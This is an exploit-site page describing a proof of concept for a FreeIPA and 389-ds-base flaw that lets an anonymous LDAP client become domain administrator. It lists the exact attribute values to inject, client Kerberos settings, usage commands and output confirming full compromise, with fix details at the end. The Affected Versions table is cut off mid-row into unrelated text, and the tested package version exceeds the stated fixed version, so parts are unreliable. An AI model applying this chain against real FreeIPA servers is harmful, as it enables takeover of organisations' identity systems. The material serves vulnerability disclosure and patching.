## https://sploitus.com/exploit?id=EDA76119-7B8C-53D2-A4B1-38396AB1D337
# CVE-2026-76578 β FreeIPA Anonymous Admin Takeover
**Product:** FreeIPA 4.9.x β 4.13.3
**Severity:** Critical (CVSS 9.8)
**Fixed:** FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
---
## Legal Notice
This proof-of-concept was developed and executed exclusively within an
**isolated, privately owned lab environment** for the purpose of authorized
security research and vulnerability validation.
**Before using this script:**
- Use only against systems you own or have been explicitly authorised to test
- Verify that the target environment and scope match your engagement rules of
engagement before execution
The authors accept no liability for misuse. This code is provided for
**defensive research and authorised penetration testing only**.
> **Note on portability:** this script was validated against the specific
> package versions listed in the Test Environment section below. Behaviour on
> other OS versions, patch levels, or non-default FreeIPA configurations may
> differ. Always verify results independently in a controlled environment
> before drawing conclusions about a production target.
---
## Test Environment
| Parameter | Value |
|---|---|
| OS | Fedora 44 (x86_64) |
| FreeIPA | `freeipa-server-4.13.1-9.fc44` |
| 389-ds-base | `389-ds-base-3.2.0-15.fc44` |
| MIT Kerberos | `krb5-libs-1.21.x` |
| Realm | `TEST.LOCAL` |
| Domain | `test.local` |
| Server IP | `192.168.1.11` |
| Hostname | `ipa-master.test.local` |
| Attack host | Kali Linux (external, no domain membership) |
---
## Vulnerability Summary
An unauthenticated LDAP client can add an OTP token entry under `cn=otp` and
obtain full FreeIPA domain administrator rights. Two flaws combine:
**CVE-2026-76578 (FreeIPA)** β the OTP ADD ACI has no `targetattr` restriction,
so anonymous ADD can include any attribute: `krbPrincipalAux`, `krbCanonicalName`,
`userPassword`, `krbLastPwdChange`, etc.
**CVE-2026-76560 (389-ds-base)** β the SELFDN evaluator treats `""` (empty
string) as matching the anonymous bind DN, bypassing the `ipatokenOwner#SELFDN`
ownership check.
### Zero-credential key generation
The critical insight β no pre-captured blob, no master key access needed:
Adding `objectClass: inetOrgPerson` + `userPassword` to the entry triggers the
**389-DS `ipapwd` plugin** which automatically generates `krbPrincipalKey`
server-side, encrypting it with the target realm's `krbMKey`. The attacker
supplies a plaintext password; the server derives the Kerberos key internally.
Setting `krbLastPwdChange: 20200101000000Z` (past date) in the same ADD bypasses
the `krbMinPwdLife` policy that would otherwise require an interactive password
change before `kinit` succeeds.
---
## CVEs
| CVE | Component | Description |
|---|---|---|
| **CVE-2026-76578** | FreeIPA | OTP ACI lacks `targetattr` β any attribute passes anonymous ADD |
| **CVE-2026-76560** | 389-ds-base | SELFDN evaluator accepts `""` as anonymous bind DN |
---
## Attack Chain
```
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" β CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson β enables userPassword attribute
userPassword: PwnedPass1! β CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM β not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 β bypass krbMinPwdLife policy
β
389-DS ipapwd: userPassword β krbPrincipalKey (server-side, target's krbMKey)
β
kinit attacker@REALM β TGT: Default principal: admin@REALM
β
GSSAPI bind β dn: uid=admin,cn=users,cn=accounts,β¦
β
uid=admin β cn=admins β full domain administrator
```
---
## Affected Versions
| Component | Vulnerable | Fixed |
|---|---|---|
| FreeIPA | 4.9.x β 4.13.3 | **4.13.4** |
| 389-ds-base (RHEL 10) | ipa-master.test.local
```
**`/etc/krb5.conf`** β `canonicalize = true` required for Level 3:
```ini
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
```
---
## Usage
```bash
python3 poc.py
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
```
---
## Results
```
ββ TEST 1: Anonymous ADD β server-side krbPrincipalKey generation βββ
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained β LEVEL 1 CONFIRMED
Default principal: pwn-...@TEST.LOCAL
ββ TEST 2: GSSAPI LDAP bind βββββββββββββββββββββββββββββββββββββββββ
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
ββ TEST 3: krbCanonicalName=admin collision ββββββββββββββββββββββββββ
[+] ADD with krbCanonicalName=admin@TEST.LOCAL succeeded
[+] TGT obtained β ticket claims principal: admin@TEST.LOCAL
[+] TGT cname is admin β LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins β real admin rights confirmed
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
CVE-2026-76578 β Result Summary
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Level 1 β Server-side krbPrincipalKey + TGT [β] CONFIRMED
Level 2 β GSSAPI LDAP / Kerberos auth [β] CONFIRMED
Level 3 β Real admin group membership [β] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
## Technical Notes
### Why userPassword instead of krbPrincipalKey directly
`krbPrincipalKey` is encrypted with the target's `krbMKey` (master key).
The master key is stored in LDAP at `cn=REALM,cn=kerberos` and is readable only
by Directory Manager β not anonymously, not by `uid=admin` via GSSAPI.
Injecting `krbPrincipalKey` directly is impossible without the master key.
Injecting `userPassword` delegates key generation to the server's `ipapwd`
plugin, which has internal access to `krbMKey` and performs the encryption
transparently. The ACI (CVE-2026-76578) allows `userPassword` through with no
`targetattr` check.
### Why krbCanonicalName collision works
The kerberos uniqueness plugin enforces uniqueness on `krbPrincipalName` and
`krbPrincipalAlias` across the full suffix, but **not** on `krbCanonicalName`.
A new entry in `cn=otp` with `krbCanonicalName: admin@REALM` does not conflict
with the real `admin` principal.
With `canonicalize = true` on the client, `kinit attacker@REALM` retrieves the
entry by `krbPrincipalName`, but the KDC issues the TGT with
`cname = krbCanonicalName = admin@REALM`. GSSAPI resolves this to the real
`uid=admin` DN β already a legitimate member of `cn=admins`. No group
modification is performed.
### krbMinPwdLife bypass
When `userPassword` is added, `ipapwd` sets `krbPasswordExpiration` to now
(expired) and `krbLastPwdChange` to now. With default `krbMinPwdLife = 3600s`,
`kinit` would prompt for a password change before issuing a TGT.
Setting `krbLastPwdChange: 20200101000000Z` in the original ADD overrides the
plugin value to six years in the past, satisfying the minimum lifetime check.
`krbPasswordExpiration: 20990101000000Z` prevents the expiry prompt. Both
attributes are accepted because the OTP ACI has no `targetattr` restriction.
---
## Lab Setup
To deploy a vulnerable FreeIPA instance on a fresh VM:
```bash
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
```
---
## Fix
```bash
dnf update freeipa-server # β 4.13.4
dnf update 389-ds-base # β 3.2.0-10.el10_2 (RHEL 10)
```
FreeIPA 4.13.4 adds an explicit `targetattr` allowlist to the OTP ACI, blocking
anonymous injection of `userPassword`, `krbPrincipalAux`, `krbPrincipalKey`, and
`krbCanonicalName`.
389-ds-base 3.2.0-10.el10_2 corrects the SELFDN evaluator to reject `""` as a
matching DN for anonymous binds.
Both fixes are required independently β either alone reduces but does not
eliminate the attack surface.